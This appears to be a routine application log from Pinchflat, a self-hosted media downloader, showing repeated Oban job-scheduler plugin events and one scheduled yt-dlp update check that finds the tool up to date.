{"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.907 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:28.736 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:58.737 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.908 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:28.739 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:58.740 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.910 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:28.742 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:58.743 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.910 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:28.745 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:58.747 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.912 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:28.749 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:58.751 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.913 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:28.753 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:58.755 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.913 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:28.756 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:58.758 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.915 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:28.759 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:58.761 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.917 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:28.763 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:58.765 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.918 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:28.767 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:58.769 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.920 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:28.771 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:58.773 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.921 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:28.775 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:58.777 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.922 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:28.779 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:58.782 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.924 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:28.784 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:58.786 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.926 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:28.789 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:58.790 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.928 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:28.792 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:58.794 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.928 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:28.797 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:58.800 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.930 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:28.802 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:58.805 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.932 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:28.807 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:58.810 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.934 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:28.813 [info] {"source":"oban","duration":2125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:58.816 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.936 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:28.818 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:58.821 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.937 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:28.823 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:58.826 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.939 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:28.829 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:58.831 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.940 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:28.834 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:58.836 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.941 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:28.838 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:58.841 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.943 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:28.844 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:58.846 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.944 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:28.849 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:58.852 [info] {"source":"oban","duration":2098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.946 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:28.855 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:58.857 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.948 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:28.860 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:58.863 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.949 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:28.866 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:58.869 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.950 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:28.872 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:58.875 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.951 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:28.878 [info] {"source":"oban","duration":2121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:58.881 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.953 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:28.884 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:58.887 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.954 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:28.890 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:58.893 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.956 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:28.896 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:58.899 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.958 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:28.901 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:58.904 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.960 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:28.907 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:58.910 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.962 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:28.913 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:58.916 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.964 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:28.919 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:58.922 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.966 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:28.925 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:58.927 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.968 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:28.930 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:58.933 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.970 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:28.936 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:58.939 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.972 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:28.941 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:58.944 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.973 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:28.947 [info] {"source":"oban","duration":2125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:58.950 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.975 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:28.953 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:58.956 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.976 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:28.959 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:58.960 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.977 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:28.963 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:58.966 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.978 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:28.969 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:58.972 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.980 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:28.975 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:58.978 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.982 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:28.978 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:58.981 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.983 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:28.984 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:58.987 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.985 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:28.990 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:58.992 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.986 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:28.995 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:58.998 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.987 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:29.001 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:59.004 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.989 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:29.007 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:59.010 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.990 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:29.012 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:59.014 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.991 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:29.017 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:59.020 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.993 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:29.023 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:59.025 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.994 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:29.028 [info] {"source":"oban","duration":2313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:59.031 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.995 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:29.034 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:59.037 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.997 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:29.040 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:59.043 [info] {"source":"oban","duration":2291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.998 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:29.046 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:59.049 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:01.000 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:29.052 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:59.055 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.000 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:29.058 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:59.061 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.002 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:29.064 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:59.067 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.002 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:29.070 [info] {"source":"oban","duration":2275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:59.074 [info] {"source":"oban","duration":2392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.005 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:29.076 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:59.078 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.007 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:29.081 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:59.084 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.007 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:29.087 [info] {"source":"oban","duration":1967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:59.090 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.009 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:29.093 [info] {"source":"oban","duration":2199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:59.096 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.011 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:29.099 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:59.102 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.012 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:29.105 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:59.107 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.015 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[7273]} 07:42:00.022 [info] {"args":{},"id":7273,"meta":{"cron":true,"cron_expr":"42 11 * * *","cron_tz":"Etc/UTC"},"system_time":1780486920022117078,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 07:42:00.022 [info] Updating yt-dlp 07:42:00.022 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 07:42:01.029 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 07:42:01.029 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 07:42:01.758 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 07:42:01.758 [debug] QUERY OK source="settings" db=0.5ms idle=1069.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:01.759 [info] {"args":{},"id":7273,"meta":{"cron":true,"cron_expr":"42 11 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":1736888,"event":"job:stop","queue_time":21385,"attempt":1,"tags":["local_data"]} 07:42:29.110 [info] {"source":"oban","duration":2019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:59.113 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.017 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:29.116 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:59.119 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.018 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:29.122 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:59.125 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 